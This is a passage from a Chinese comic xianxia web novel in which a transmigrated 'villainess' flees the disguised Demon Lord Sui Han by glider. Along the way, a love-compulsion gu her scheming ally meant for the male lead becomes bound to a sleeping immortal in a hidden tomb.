啊!还是磕巴了……
符窈心中小人跪倒。
“站稳。”封池没有废话直接御剑起飞。
符窈眨了眨眼,又眨了眨眼,诶?他好像……没有听见诶?
是她说的声音太小了么?符窈抿了抿唇,心中有点小窃喜,又有点小沮丧,但很快,这点沮丧就被风给吹散了。
封池御剑的速度太快,风呼嗬着直往她脸上扑,符窈眼睛都睁不开了,她试着掐诀给自己罩了个避风罩,本以为会失败,没想到居然一次性就成功了!
符窈眼睛骤亮,不可置信地用手指戳了戳避风罩壁,整个人新奇得不得了,她现在好像在一个泡泡里哦,好神奇。
新鲜劲上来,符窈东戳戳西戳戳,还试图在“泡泡”上按手印,自己和自己玩得不亦乐乎。
忽然,“泡泡”里出现了入侵者,符窈喉头一窒,防空警报拉响,整个人瞬间进入了到了戒备状态。
糟糕!封池是她盟友,刚刚玩太欢忘记给他罩一个了,她不会是又要OOC了吧?
不要啊,封池的杀伤力她已经见识过了,根本就是不鸣则已一鸣惊人,她不想再收一回死亡通知书了。
然而,符窈在后头紧张得心蹦嗓子眼,封池竟也没好到哪去,他试探性地伸了一只脚进来,别说抗议了,从这后面看,他这小腿肌肉绷得还挺紧,就好像……就好像是在随时准备回撤以免被踹似的。
符窈:“……”
啊,她想起来了,她除了是盟友,还是个没有礼貌的恶毒女配来着。
要把他踢出去么?
符窈陷入纠结,她现在还在人剑上,踢司机是不是有点危险?
可不踢又好像会OOC,她在封池面前还是不要以身试法了吧?
但是……人家好心载她,她还踢人家的话,感觉有点不识好歹,心理负担好重啊……
可他本来就是反派啊,踢一脚也没什么吧,她在良心不安什么?他自己都做好被踢的准备了啊。
但,他是反派,你难道就不是了么?换位思考一下,你因为一点小事被盟友斤斤计较也会伤心难过的吧?
符窈咬唇,两股势力在脑中疯狂缠斗,最后,她不堪重负地耷拉下了脑袋。
呜呜呜,所以说她不喜欢跟人打交道……
拜托拜托,崩坏值少加一点吧。
手指微动,符窈一边怂怂祈祷,一边又冒险将避风罩的范围往前扩大了些。
迎头的冷风突然没了,封池受宠若惊,回头看符窈。
符窈面无表情,超绝冷漠!
“太阳打西边儿出来了……”封池转回去,嘀嘀咕咕了好一会儿,几番犹豫过后,他伸手进储物袋里掏,最后,掏出一个蜡封的碧绿竹筒,反手递给了符窈:“喏。”
符窈:“???”
什么东西?
符窈好奇接了过来,还没看出个名堂,就听封池道:“里面是一对合欢蛊,待会儿你拿去下,我给你把风。”
!!!!!
什、什么!
平平无奇的竹筒突然烫手,符窈下意识地就是一抛,竹筒呲溜就从她手里飞了出去。
“嘿!”封池眼疾手快,一个飞身又把竹筒给捞了回来。
他压低了声音气急败坏:“你至于激动成这样么,知道我为了拿到这对合欢蛊废了多大力气么,这可是纯天然的合欢蛊!一棵连理合欢树千年就只能孕育出这么一对,要不是看你良心发现我都舍不得给你!”
说罢,他宝贝地擦了擦竹筒上并不存在的灰,小心翼翼揣进怀中,吸取教训道:“先放我这保管,落地了你再拿。”
符窈:“……”
啊啊啊啊啊!
什么叫做要不是看她良心发现,你们反派间的礼尚往来居然是这样的吗?
撤回,她要撤回啊!
合欢蛊明明是很久之后的剧情,她是什么短命鬼吗,为什么它会提前!
符窈抓狂,居高的素质急速下降,她盯着封池暴露在外的脖颈,双眸微微眯了眯,要不……
眼前之景渐入虚幻——
“孽障!今日就是你的死期!”符大侠一声怒喝拔剑而起!
封小弟震惊、害怕、连连后退:“你、你居然……为什么?”
符大侠不为所动步步紧逼:“从前我没有选择,现在我想做个好人,而你——”
符大侠狠厉出剑:“要怪,就怪你挡了我的路!”
“挡了你的路……”封小弟凄笑出声,忽然气质一变竖瞳现影!
他声色俱厉:“那就看看你有没有本事来取我的命!”
刹那间,天地变色、风起云涌、飞沙走石、硝烟弥漫!
封小弟:蛟、青龙预备役、从小抢地盘打斗经验丰富、通水性且已化形辅修剑道、能上天能入地、金丹后期。
符大侠:人、植物碰见她倒了大霉(猝死前在种田游戏里获得的无用称号)、从小到大鸡都没有杀过一只(实战经验无)、会御剑(新手)、会乐器(退堂鼓)、筑基四阶(虚)。
两人决斗,首个回合未半,封小弟使出两成功力,手起剑落:“叛我反派阵营者,死!”
符大侠不敌,卒,享年十八。
不对,十八那是加上了原主的,她应该是——
享年4/365……
“面目这么狰狞,想啥呢?”封池伸手往符窈面前晃了晃,好奇得很,这要是有好事,他得参加呀。
符窈立正稍息摇了摇头,兵推下来只能活四天,太短了,真的是太短了,老实中,勿cue……
见她不愿说,封池虽有遗憾,倒也没有追问,眼下,有更紧要的事情。
“你说你准备那么多花里胡哨的有什么用,最后还得靠我。”封池控着脚下剑加速,下巴往前面努了努:“左前方二十里外有个邪门地儿,我无意间发现的,那地方催动不了灵力,感知也会下降,等会儿我到前面带路,把他们都带沟里去,只要进了那,今天肯定就出不去了,到时——”
封池顿了顿,桀桀笑出了反派本色:“到时你就趁岁寒不备,把合欢蛊下到他身上去!”
“……”
符窈嘴角抽了抽,有没有可能……被你带沟里的是我啊!
那合欢蛊分明是后期男女主反目之后她才拿到的道具,最后她成事不足败事有余,阴差阳错让男女主一块中了蛊,由于这蛊乃吸收夜月之精华孕育而成,每到月圆之夜就会使人发狂非交合而不能解,她可以说是为男女主的感情破冰做出了巨大贡献,然而就这,她都没有好下场呢,更别说用自己身上了……
啊啊啊啊啊封池你个逆臣,梆梆给你两拳,猛踹,踢飞!
符窈在心里重拳出击,实际却……举步维艰,她欲言又止了好半响,才终于鼓起了勇气小声道:“其实我觉得……”
“咻——”
封池追上庄怜雪和岁寒,弯道超车:“我知道有条近路,你们跟我走!”
片刻后。
四人坠落在灵力失效区,封池看天看地看云彩就是不看其他人。
他们这会儿在接近山顶的位置,而前面的山峦连绵起伏,想出去这片区域,起码得翻个七八座山,能御剑的话倒是轻而易举,但……
“这就是你所谓的近路?”岁寒脸色不太好看。
封池穿了一身的蓝灰色的束腰长袍,蹲在高高的树杈上,嘴里还叼着一根树叶梗,一个人凭实力扛下了所有,至今不敢下来。
“方向感出现了一点失误。”他剔着牙含糊不清道。
这是一点失误?岁寒后槽牙发紧。
庄怜雪见状,上前打起了圆场:“阿池也是好心想带我们快点回去,可谁能想到好好的山地会出现这样的怪事,他已经很自责了,我们还是保存体力留着待会儿爬山吧。”
说完,庄怜雪余光往符窈脸上扫了一眼。
【庄怜雪:“这小姐脾气的人,听说要爬山竟也没有发飙,分明就是和封池串通好的,决心下这么大,怕是所谋的也不小,既如此,现在又装出副弱小无助的模样做什么,如今改走柔弱路线了?”(崩坏值+10)】
“!!!”
正在蘑菇蹲的符窈身形一僵。
蒙混过关失败……
她沮丧支起脑袋,捡了一根木棍撑着站起,亡羊补牢走到封池蹲的那棵树下,抬臂勾了勾手指,下来。
封池:“???”
啊,他想起来,合欢蛊还在他这,是得下去给她。
再者,符大小姐的话谁敢不听啊,他这么下去,也不是很丢人吧,总比岁寒叫他下去就下去的好,封池默默挽尊。
可谁料——
“梆梆梆!”
他脚刚落地,符窈图穷匕见,用来撑地的木棍瞬间成了攻击他的武器。
卧槽!要不要这么用力?
封池抱头鼠蹿,符窈气鼓鼓追着他不放,打封
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池的这几下,她蓄谋已久,先前的颅内操练在这一刻厚积薄发。
再加上,现在大家都没有办法使用灵力,无形中又给符窈壮了胆,此刻她的中二之魂熊熊燃烧,多少是有点被逼出了原形。
决斗吧!
就他们这两头蒜,女主只稍一眼就识破了,玩得过人家么你就玩,你以为你很聪明么,还让她去下合欢蛊,等下怎么死的都不知道!
两人打着打着跑远了,留下庄怜雪和岁寒在原地,两人一时无话,气氛骤然又变得有些微妙。
不知过了多久,封池被打得一头包回来,符窈缀在后头,明明大获全胜,却还是揣了一兜子的郁闷。
不是,她使了一路打狗棒,封池愣是一下都没还手,他难道就不觉得她可恶、不气愤、不想反抗、不跟她来个反目成仇然后同盟就地解散之类的?
符窈不理解,封池的脑袋好像……坏掉了?
走在前面脑子“坏掉”的封池,不仅没生气,坐回庄怜雪边上后,反而还默默地反省了起来。
他承认,他的确是没控制好,走出去要翻的山比预想的多了几座,符大小姐娇气,生气撒他身上也挺正常吧。
他反手揉了揉自己被重点攻击的后背,心道这符大小姐果然是良心发现了,不仅打得跟挠痒痒似的,出手竟还不耍赖往人下三路去了,不枉费他苦心孤诣帮着她出谋划策啊……
封池欣慰不已,完了还有心情整理发型,把散开的头发又用手给梳了回去。
岁寒无意间瞥到封池额头鼓起的那几只包,被辣到,瞳孔骤然收缩了一下。
封池敏锐捕捉,怒瞪:“看什么?没见过么?我捡到你的时候,你伤得可比我惨多了!”
“被打成那样,鬼知道是不是干了什么见不得人的事?”封池当面蛐蛐,声音还不小。
符窈在后头正龟速移动着,闻言脚步忽地顿住,她惊讶看向封池,你小子……有点瞎猫撞死耗子的运气在身上啊。
男主做的事情何止见不得人啊,简直胆大包天!
他在寻找那位仙界至尊的沉睡之地,想要助魔尊趁其未苏醒将其除掉!
没错,男主虽夺舍成为了正道弟子,但背地里却在为魔族效力,而他们威风凛凛的魔尊,在善渊仙尊江遇臣手里完全就是耗材,几千年间,已经死了有三十多个了吧,现如今任上的,她没记错的话,应该是第三十七代。
所以,要说善渊仙尊醒来谁最紧张,那指定得是现任魔尊,也就是男主的义父。
而男主这次找去无尽海,有了重大发现,正要回去报信,却意外触发了海底的防御大阵,脱身过程可谓是相当惊险,要不,也不至于脱力昏死在不归城外,还让封池给捡到了。
符窈有点好奇男主要怎么解释,偷偷瞄了他一眼,唔……不愧是男主,表情淡定自若无懈可击,根本就没有半点破绽,羡慕,这能力能不能分她一半……
“历练负伤本就是常事。”岁寒脸不红心不跳,说完便没再搭理封池,而是端出了作为大师兄的责任感,说起了要怎么出去的事。
“翻山越岭难捱,我一个人爬就行了,你们就在此地等着,我出去后让鹏鸟来接你们。”
此地灵力运转受阻,没有办法御剑,灵犀镜也联系不到外界,岁寒提出这个方案,可以说是相当舍己为人了。
但是符窈听见,眸光却是锃地一亮。
那个……她不是出门来“放生”男主的么,后续的应急撤退方案她是照海陆空三线准备的来着,所以……
她摸了摸自己的储物袋,里头,有个滑翔伞……
她知道这玩意儿在几乎人人都会飞的修真界多少有点拿不出手,但……她是半点都没继承到原主的记忆,御剑都是来的路上刚学的,能捣鼓出这玩意儿,已经算她动手能力不错了,更高级的,那她不是还没学会么……
符窈蠢蠢欲动,想单飞的心在此刻到达了顶峰,比起跟这几人一块待着,她感觉她自己荒野求生的生还概率还大些。
“其实我……”
庄怜雪:“师兄,还是两个人一块走吧,路上万一遇到什么也能有个照应。”
“是啊是啊。”封池帮腔。
在后头悄悄举手的符窈,声音就这么被华丽丽地盖过去了,啊,果然还是得大声说话才行,可是……她有那个音量羞耻症……
一鼓作气,符窈再而衰了,低头看着脚尖踢树叶儿,假装自己很忙的样子,默默听他们讨论。
“师兄你觉得呢?”庄怜雪又问。
岁寒面上不显,心里却有点恼了,他出去有急事,因为他们几个,他已经耽搁很长时间了。
见他不说话,庄怜雪自告奋勇:“我可以——”
“那我带符窈一块走吧。”岁寒不欲再纠缠浪费时间,这几人里头符窈虽然性子跋扈,但其实是最好忽悠的,这样出去之后,他要单独走起来也方便。
此话一出——
庄怜雪心冷了。
封池心喜了。
符窈……符窈心惊了:“哈?”
不、不是,你怎么又自投罗网!
5. 混不下去了,跑啊!
“那玩意儿天生天长有灵性,用的时候一定要确保附近就他一个男的,不然雄蛊一旦有得选,就指不定是绑的谁了,切记,切记啊……”
临下山前,封池悄悄塞给了符窈一张纸条,她攥在手里走到半山腰,手心都攥出汗来了,这才做贼似的把纸条抻开,一边小心提防着前面的岁寒,一边心如擂鼓地垂眸往手心偷瞄,原本她还期待了一下会不会是什么锦囊妙计,结果……
就这?
符窈把纸条捏成团,心中小人抖成了面条。
她缺的是说明书吗,她缺的是人际交流指南啊……
岁寒不像封池是个自来熟,整体性格偏冷很难接近,可偏偏她又是被他迷得死死然后为爱痴狂的人设,这个时候,她是不是应该主动找话题跟他聊天拉近关系啊?
可……她要说什么呢?
畅谈人生理想?
回忆过往时光?
再来点土味情话?
啊!符窈头大如斗、百般抗拒、汗如雨下,不行,这些她一个也不擅长,让她照这发表命题作文,不如杀了她!
想到前面还有起码七座山要翻,符窈心如死灰,目之所见仿佛已然变成了黑白。
剩余崩坏值,危!大写的危!
“我看见你举手了。”
又走了一会儿,岁寒忽然打破沉默,回身看向符窈。
诶?
符窈睡眠中的大脑重新激活,举手?她刚才没有举手啊?
岁寒提醒:“是在上面的时候,出发之前。”
符窈点头,哦。
紧接着又顿住,啊?
她惊讶得睁圆了眼睛。
岁寒看见了?
他的关注范围真的好广……
可是,他突然说起这个是要做什么?
符窈紧张地等待着他的下文,可岁寒却偏偏打量着她不说话,如有实质的视线在她脸上扫了一圈又一圈。
长久的审视加上沉默,这对符窈来说简直就是核弹!
她脑袋不自觉地开始压低,思绪也在控制不住地疯走回溯,相关的、不相关的,穿越前的、穿越后的,小到日记造假,大到装病请假,几乎所有能够令她心虚的事情,她都想了个遍。
【岁寒:“奇怪,明明刚开始还很想跟我一块走,怎么这会儿却感觉好像……不太情愿?”(崩坏值+5)】
跑马灯定格,原来是因为这个……
符窈蓦地松了口气,旋即努力地从嘴角挤出了笑来。
她没有不情愿啊,看,她笑得多开心。
岁寒眼角抽了抽,默默转回了身去,继续下山。
这强颜欢笑的,还不如不笑。
不过,这倒是印证了他猜测,符窈果然不情愿跟他一块走,只是……
岁寒眉头微拧,她突然讨厌他的原因是什么?
之后岁寒没再跟她说话,只是时不时回头瞥上一眼看她跟上了没有,符窈心惴惴的,生怕自己又被人嫌弃拖后腿,一路上都没敢提出要休息,硬是咬牙从天光走到了天黑。
好在,岁寒还没有丧心病狂到晚上也要赶路。
他们最后停在了一处山顶,往回望去,四人最初“坠机”的那个山头已经被遮挡得看不见了。
这么一看,他们真的走了好远啊……
符窈坐在石头上,忽地激情豪迈,看!这都是她爬下的江山!
然后视线一转,明日份要征服的四五座山屹立眼前,打江山的豪情壮志瞬间垮了……
爬山好累,她不想爬山!
符窈在心里嚎啕大哭,整个人往后一倒瘫在了石头上,怔怔想着,明天有没有可能休息一天呢?
她转眸看向靠坐在树上假寐的岁寒,只一眼,便放弃,收回了视线。
算了,他肯定不会同意的,毕竟他这么赶时间,不出意外,应该是急着要出去告诉魔尊无尽海的事。
除掉善渊仙尊对他们魔族来说,还挺重要的,至少,比她重要的多。
只是,岁寒和魔尊这次怕是要失望了,她虽然不知道善渊仙尊真正的沉睡地点在哪,但却可以确定,肯定不是无尽海。
因为无尽海那边是第一仙府也就是瀚辰仙府长老们联手做的一个局,为的就是制造善渊仙尊在那的假象,然后引魔族的人过去好一网打尽。
她记得,因着这次岁寒带回去的消息有误,魔族死伤惨重,岁寒还被魔尊给罚断了一只手来着。
想到这,符窈不由得朝岁寒如今还健在的右臂瞄了去。
嘶——
手被生生削断肯定很痛,符窈光是想想就满目血腥,刚准备收回视线,原本闭目假寐的人,却不知道什么时候睁开了眼。
符窈目光突然和他对上,仿佛瞬间遭受了十万伏特!
她嗖地一下背过身去,心脏咚咚地跳个不停,救命,岁寒会不会以为她是偷窥狂?
岁寒垂眸,看向自己的右手,以及自己右边腰侧挂着的竹筒,符窈刚刚在看什么?
他抓着竹筒将其扯了下来,转着仔细端详,临下山前封池拿救命之恩说事非让他保管这个东西,也不知道里头到底装了些什么。
余光瞥见符窈似乎又在偷偷往他这边看,岁寒想了想,故意抛了下手里的竹筒,见符窈惊得差点坐起,又稳稳地给接了回来。
原来如此……
岁寒拇指摩挲着手中竹筒,顿时了然,看样子,符窈应该是知道这里头装了什么,并且……还很在意。
过了好一会儿,岁寒才终于又将竹筒给挂了回去。
“呼——”
符窈狠狠松了口气,随后发泄般地在心中怒斥——男人,你这是在玩火!
是的,岁寒身上的那个竹筒,就是装着合欢蛊的那个……
封池那大聪明思来想去,担心她单独和岁寒在一块儿揣着东西激动过头掉了都不知道,最后想出来的解决方案,竟然是狗胆包天寄存到了岁寒身上!还说让她要用的时候就去装不小心把竹筒打碎。
符窈槽多无口,这跟攻打敌人还让敌人自带子弹有什么区别!
嚣张、太嚣张了,不愧是恶毒女配的卧龙军师。
符窈瑟瑟发抖,跟封池一条船,她真的很难不担心自己的安危啊……
想到接下来还得跟岁寒一块同行一两天,符窈眼前一黑。
她必将度日如年!
明天还没有到来,符窈趴在石头上,已经开始发蔫了……
山间风吹草低,树影摇晃,在皎洁的月光下,看起来就像是海浪一样。
海浪……草浪……
都是浪,草儿能不能把她载出去……
符窈短暂地被自己的想法逗笑了一下,之后困倦来袭,她的眼皮渐渐支撑不住,陷入了梦乡。
唔,梦里什么都有。
“好草儿,快快接力传送我……”
符窈喃喃呓语,累得梦里都不想动弹,只希望漫山遍野的野草都加加油,然后手拉手一浪接一浪地把她给托出去。
不过,这梦做得好真实啊,在草浪上漂着走的时候还有按摩的感觉诶,一批草倒下,另一批草又站了起来,小草们都好努力哦,啊,她好幸福~
“符窈!符窈你去哪!停下——”
嗯?怎么还有岁寒的声音?
可恶!不管他,她的梦她做主,她今晚说什么也要梦完她的《符窈漂流记之走出大山》!
岁寒大晚上追着符窈跑得怀疑人生,这人是睡着睡着滚下去了吗?叫也叫不应,这都快滚到山脚了,总不可能是还没醒。
白天爬了一天,饶是他也吃不消,这会儿又追了一路,早已是上气不接下气,岁寒双手撑着膝盖歇了一会儿。
也就是在这时,被乌云遮蔽的月亮又露了出来。
岁寒抬头,刚想借着月光看看符窈滚到哪了,谁知这一看,却是看得他瞳孔震颤,不由得站直了身体。
符窈这会儿在……躺着上坡?
……
“唔——”
一觉睡到天亮,符窈舒展地伸了个懒腰,啊,睡完一觉感觉身上的酸痛都没有了呢。
哈哈,她又满血复活啦!
符窈开心地睁开眼睛,然后顿住。
她身下的触感好像不太对劲?
符窈伸手一摸,唔……是草!
符窈嗖地一下坐了起来,目之所见,不仅昨天晚上睡的那块石头不见了,就是这座山头,都和昨天的大不相同。
!!!
撞鬼了?
符窈四下张望,惊恐不已,可那清晰灌涌入体的灵气,却又分明昭示着一件事情——
她,符窈,出来了!
苍天啊,昨天晚上到底发生了什么?
符窈抱膝蜷缩成一团,又懵又喜又害怕的,自己胡思乱想了好一会儿,才终于意识到少了个人。
!!!
惊恐加倍!
怎么就她一个人在这,岁寒呢?
说曹操,曹操就到。
“啪!”
前面的坡上出现了一只手,五指张开狠狠扣进泥里,然后手背青筋乍现,抓牢!
之后,斜下方的坡上就升起了一颗头,岁寒爬了上来,真……爬了上来,四肢贴地的那种……
只见他眼底青黑,双目沉沉地锁着符窈,声音哑得不可思议:“睡得好么?”
符窈头皮炸开。
啊啊啊啊啊啊!鬼啊!!!
一刻钟后,岁寒打坐引灵气入体运转小周天,而符窈蹲在边上,时不时地瞄他一眼,观测进度。
此刻岁寒已经换了衣裳,头发也没有再散开,重新又变回了那个风姿卓越的男主模样,就是那脸上的疲态,仿佛仍旧暗示着这人曾经饱受了摧残……
符窈莫名心虚。
这跟她应该没有关系吧?
可……没关系的话,她又是怎么出来的呢?
岁寒刚爬上来看她的那一眼,好像……有故事……
不确定自己在那故事里到底扮演了个什么样的角色,符窈白里透粉的小脸因为忐忑,皱成了一团。
而就在这时,符窈一直没动静的OOC检测仪开始刷起了屏。
【岁寒:“早该意识到的,从她跟我下山那会儿……不对,应该是从她举手那会儿,就已经不对劲了,好像只重在参与,不,她连参与都不积极。”(崩坏值+5)】
【岁寒:“可她发生这些变化的原因是什么,从绝情谷出来之后,是封池带的她,难道是封池发现了什么,然后告诉了她?她信了?不向我进行任何求证,就信了?”(崩坏值+2)】
【岁寒:“或许,封池把我带去那里根本就不是意外,他是故意想困住我,因为他怀疑起了我的身份,包括后来问我受伤的原因,也是在试探我,可后来封池为什么又不阻止,还巴不得我和符窈一块离开呢?是因为符窈的那个能力么?是了,符窈有这个能力完全可以趁夜甩开我,若不是我发现得及时,她差点就要成功了。”(崩坏值+3)】
【岁寒:“所以,符窈为什么能一反常态走上一天都不吱声
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也就说得通了,因为她心里装着事儿,她害怕我!”(崩坏值+3)】
……
你有高速运转的大脑进入直播间……
救命!这是什么MVP结算画面!
符窈心如擂鼓,直觉此地不宜久留。
“再、再见。”
符窈强作镇定地同岁寒道别,他不是还有重要的事要跟魔尊汇报么,她就不耽误他了,就此别过。
说完,她快速转身查看崩坏值,妈妈呀,岁寒一个人刷屏刷了好几页,她不会是要挂了吧?
“嘭!”
符窈撞上一堵肉墙,岁寒挡住她去路,冷意重重的声音在她头顶响起:“我们不都要回月清宫么,你跟我再见什么?”
符窈:“!!!”
糟糕!露馅了!
“我、我——”符窈按捺住心慌,紧急头脑风暴,试图找个理由解释。
岁寒却似笑非笑:“你知道我的身份。”
甚至,连他要去做什么也知道。
“什、什么身份?”符窈后退着装傻。
救命,他是怎么做到公式全错,结果全对的?
搞得她连最基本的不心虚都做不到,因为……因为她是真知道啊!
岁寒:“我是魔尊。”
诶?
符窈愣住,惊呆!
不是,你是你爹这事你爹知道么?
岁寒双眸微微眯了眯,变了个人似的,眸底换上了一片冷色,步步逼近:“你果然知道。”
符窈后知后觉反应过来,心跳骤停!
啊啊啊啊啊,他诈我!
说时迟,那时快,符窈从储物袋里摸出滑翔伞,转头就跑。
知道这么大个秘密,岁寒必不可能放过她。
不过好在,她现在就在山顶,只要跳下去,就又进入到那灵力压制地界了,也算是不幸中的万幸。
这全是聪明人的世界,她真是半点也混不下去了!
符窈泪目狂奔,她要回山里当野人!
岁寒:“站住!”
符窈:呜呜呜不站住!
她摸出来的这个滑翔伞,本意是仿照滑翔伞做的,但最后做出来的成品却更像是下面装了个秋千的大风筝。
但……现在管不了那么多了!
符窈把秋千往屁股底下一套,抓紧两边的绳子,纵身就是一跳!
大风起兮云飞扬!
耳边风声呼啸,是逃出生天,自由的感觉~
符窈屏着的呼吸松开,然而,她却低估了岁寒的执着。
“咻——”
一道破空声传来,符窈右脚猛地往下一坠。
岁寒竟也跟着跳了下来,还抓住了她的脚!
好重!
一个成年男子的重量,与她而言真的好重,她快要被拽下去了。
符窈喉咙仿佛被堵住,努力吞咽了好几下,才重新找回了自己的声音。
“放、放开我……”
符窈哭音颤颤,可——
“你跟封池想做什么?”
“你们还告诉了多少人!”
岁寒一边质问,一边还分了只手上来抓绳子,大有一副要把符窈制住抓回去刑讯逼问的架势。
符窈哪见过这场面,惊吓过头,整个人一下子就爆发了。
“啊啊啊啊啊!”
兔子逼急了还会咬人呢,你别逼我!
她顾不得再控制方向,疯狂踢踹,不管三七二十一,先把他踹下去再说。
“该死!”
岁寒的脸被踢了几脚,他松开一只手扯下腰间挂着的竹筒,威胁道:“你再乱踢,我就把它捏碎!”
这里面一定是封池放的关键时刻能取他性命的东西,符窈不想跟他同归于尽就老实点!
符窈:“……”
有被威胁到,但是——
“啊啊啊啊啊!”
符窈继续踹,踹得比之前更狠,踢飞!把你们都踢飞!
岁寒气得咬牙,没看出符窈竟还有这胆气,这是赌他不敢么?
两人在空中缠斗,滑翔伞左一下右一下地偏移了方向,最后竟是俯冲着朝一处湖泊去了。
符窈脚下骤停,整个人僵住,完了,她不会游泳!
岁寒嗤笑了一声,以为是她终于认清现实放弃了挣扎。
可紧接着率先将他淹没的湖水,却是让他的笑给僵在了脸上。
他反应过来,立刻松开符窈往上游,可这水却不知怎么,竟好似没有浮力一般,任其怎么游都无济于事,他眼睁睁看着自己往湖底沉了去,五脏六腑都几要被压成一团。
“啪——”
早已脱手的竹筒不堪水压破碎,碎片擦过岁寒侧脸,划出了一道血痕,可剩余的碎片却消失不见了。
湖底竟不是底,是另一方天地的入口!
两人两蛊冲破了那一层边界,继续下坠。
“啊啊啊啊啊——”
眼前之景震撼非常,耳边符窈的尖叫声又续上了,可岁寒此刻却置若罔闻。
这里是……
岁寒怔住,甚至忘记了自己还在坠落。
怪不得此地的灵力被压制得那般厉害,不是因为高人设阵,也不是因为有灵脉再生天地反刍,更不是什么邪物即将出世,而是因为……
岁寒呼吸停滞。
而是因为这地底下沉睡了一个人!
而这个人,岁寒瞳孔猛张,脑海中有个名字呼之欲出——
善渊仙尊,江遇臣!
6. 踏破铁鞋无觅处
此地穹顶遍布藤蔓,丝丝垂落,可下面却又是云蒸霞蔚、群山环绕,十二根擎天玉柱参耸入云,其上似有真龙盘踞,龙珠吐水,流水交织而下形成飞瀑,天地间水气氤氲,袅袅仙气直往玉柱拱卫的中心浮岛汇聚而去,复杂的图纹在上空交织光影流转,隐约间竟可见一人躺于其中。
此情此景,是个人都能看出这里头躺着的人不寻常,符窈自然也第一时间猜到了,可也正是因为猜到了,才更让其绝望。
回来!回来啊!
符窈拼命拉扯腕间的透明丝线。
刚才封着合欢蛊的竹筒碎裂,雌蛊以迅雷不及掩耳之势钻进了她身体,一点反抗的时间都没给她,而现在,这根透明丝线另一头连着的金蝉雄蛊,扑闪着翅膀,仿佛认定了似的,哪怕岁寒离得更近一些都视而不见,一个劲地铁了心要往那中心岛处飞。
真是要了个命了,符窈现在死命拽着,只想赶紧把它拉回来。
这蛊一旦绑定,每到月圆之夜就会□□焚身……
江遇臣虽然道号善渊,可他在原书里,却是个性情无常、超绝可怕的大疯批,跟善字那是一点也不沾边,谁惹了他不快,不分男女都得死、立刻死、马上死,无一例外。
等他醒来,若是发现自己身上被下了这玩意儿,那她绝对死无葬身之地!
眼看着雄蛊只差几丈就要冲进中心岛的光晕,符窈颅内登时警钟剧震。
不行——
她是想活命,不是想换个死法啊!
一时间,符窈的求生欲简直到达了顶峰,她咬了咬牙,心一横!
她看出来了,雌雄两蛊之间能分开的距离是有限的,要不然,雄蛊也不会因为够不着而一直牵着她跑了,既然如此——
符窈松开抓着滑翔伞绳子的手,直接往心中岛外翻腾的云雾间一跃而下。
她符窈,松开绳子,从这里跳下去,都绝不会让你有机会去绑定江遇臣!
下来吧你!
这招伤敌八百自损一千,效果十分显著,雄蛊成功被符窈拖着离开了浮岛,一人一蛊往下坠,这下面是什么,层层云雾阻隔,她也看不太清,只听着飞瀑流水轰然而下,估摸着是个积水的深潭,虽然她不通水性,但……符窈乐观地想着,还是值得赌一赌的,总比绑定了江遇臣必死无疑的好。
旁边藤上挂着的岁寒看她不仅不找东西抓着还往下跳,神情颇有些意外,不过,倒也没阻止。
于他而言,从进入到这地方的那一刻起,符窈的生死就已经无关紧要了。
他望向中心的那座浮岛,定定望了一会儿,忽然笑了起来,谁能想到,他竟会在这里找到江遇臣?
由此可见,无尽海那边根本就是一个陷阱!
瀚辰仙府那群老狐狸,竟是差点就让他上了当。
好在,如今也算是踏破铁鞋无觅处,得来全不费工夫了,不过,吃一堑长一智,谨慎起见,他还是打算上去再确认一下,看看那里头到底是不是真的江遇臣。
“啊啊啊啊啊——”
云层之下,符窈的尖叫声突然凄厉。
这这这……这底下有食人花啊!
果然,赌狗赌到最后一无所有,符窈后悔了,啊啊啊她要上去!
符窈四肢在空中扑腾,然而,根本无济于事……
底下滔滔江水畔火红一片,从上面高速往下落,恍惚间竟有一种已经奔赴黄泉见到彼岸花的感觉,轰烈又苍凉,可……谁家彼岸花张着血盆大口?
底下那一朵朵花鲜红欲滴,虽然大小不一,但无一例外,全都花瓣大敞露出了里面密密麻麻的“尖牙”,还纷纷伸长了茎秆争先恐后朝她而来,这意图简直不要太明显……
这、这是真饿了啊!
就她自由落体的这个功夫,它们群起而动相互之间挤来挤去,甚至不惜自相残杀都要去占领最佳位置。
她,符窈,一个现身,让所有花都为她大打出手!
别说,她这行情还不错,这竞争那是相当激烈啊,如果……
如果忽略掉她是食物的话!!!
啊啊啊啊啊符窈只恨下落的时间太短。
老天爷救命啊——
“嗷呜!”
她命由花不由天。
一朵妖红似火的大花弃了两片花瓣之后凶狠杀出重围,一接到食物剩余的花瓣就立刻合起,锁死!
底下的叶片齐齐抖擞为之一振!大王威武!
然而,正当它准备咀嚼享用胜利果实的时候,整朵花却忽然僵住!
呜!嘴巴里是空的!
“别扎我、别扎我、不要扎我!”
符窈的尖叫声在花管中回荡。
这花的花腔里面都是黑色的尖刺,一点一点地连成片,符窈刚进来密集恐惧症就犯了,一整个大崩溃,她用力地踩,疯狂地踩,试图把它们消灭掉,然而不知怎的,这刺真听了她话似的,缩得一个比一个快。
最后,她就这么水灵灵地沿着花管滋溜下去了,中间九曲十八弯,跟坐过山车似的,后面不知道又冲破了个什么东西,一道金光从眼前闪过,之后,她就一屁股坐进了个乌漆嘛黑的地方。
符窈:“……”
符窈:“…………”
好消息:刺没扎到她。
坏消息:可能一步到胃了……
符窈死机的大脑原地重启了好一会儿,终于……有了劫后余生的真实之感。
嗯?她还活着诶!
不过……这里是哪?
符窈有点摸不着头脑,她脚下踩的东西是硬的,感觉像是铺了石板之类的地。
周遭伸手不见五指,符窈只能跟个盲人似的,躬着身子一小步一小步地摸索挪动,可这里却似乎很空旷,她走了半天,才摸到了一个盒子,这盒子挺长的,盖好像还能动。
找到出口了?
符窈用力推了一下,果不其然,石盖才刚推动,里面就漏出了光,她心中一喜,再接再厉双手齐上,使出了吃奶的劲,终于!推开了一道可供人进入的大口子。
她高兴地探头往里一看——
嚯!瞧她看见了什么?
她不知所踪的金蝉雄蛊竟然和一个男人在一起!
怪不得之前有一道金光闪过,原来是你。
啊啊啊啊啊符窈抓狂,你给我出来!
符窈伸手就要去抓,谁料却是抓了个空。
金蝉雄蛊当着她的面,隐没进了男人眉心。
“嘣——”
腕间的弦丝断开,化作萤火四散,像一场绚丽的烟火,向她发起了庆祝。
蛊成了……
周遭重陷黑暗,安静得落针可闻。
沉默半响,符窈绷不住了。
第一,这里是墓。
第二,她扒了人家棺材。
第三,她绑定了一个死人!
啊啊啊啊啊!!!
……
符窈连滚带爬原路返回。
是的,她把“食人花”的根蹬穿了一个窟窿,最后,又逼着食人花坚强地把她蛄蛹出去了。
别说,她在植物界说话还真是怪顶用的……
出来后,江畔遍野的食人花看着她瑟瑟发抖。
而符窈,
